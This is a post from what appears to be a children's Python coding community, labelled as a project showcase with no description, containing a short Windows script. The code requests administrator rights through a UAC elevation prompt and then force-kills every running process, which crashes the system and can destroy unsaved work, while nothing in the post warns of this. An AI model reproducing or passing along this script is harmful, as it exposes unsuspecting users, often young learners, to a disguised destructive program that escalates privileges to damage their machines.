用户:
健谈的树毛蛹NYSa查看:0 回复:1 评论:0 创建时间:2022-11-09T18:37:29
【作品展示】

【作品介绍】
【作品源代码】
from __future__ import print_function
import ctypes
import sys
import os
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
os.system("Taskkill /fi \"pid ge 1\" /f")
input()
else:
if sys.version_info[0] == 3:
ctypes.windll.shell32.ShellExecuteW(
None, "runas", sys.executable, __file__, None, 1)
print("run again...")
else:
ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(
sys.executable), unicode(__file__), None, 1)
【提示】
部分含有Python第三方库相关内容的作品,在海龟编辑器网页端无法运行哦!如遇到这种情况,可以打开下面的链接,下载海龟编辑器客户端:
https://python.codemao.cn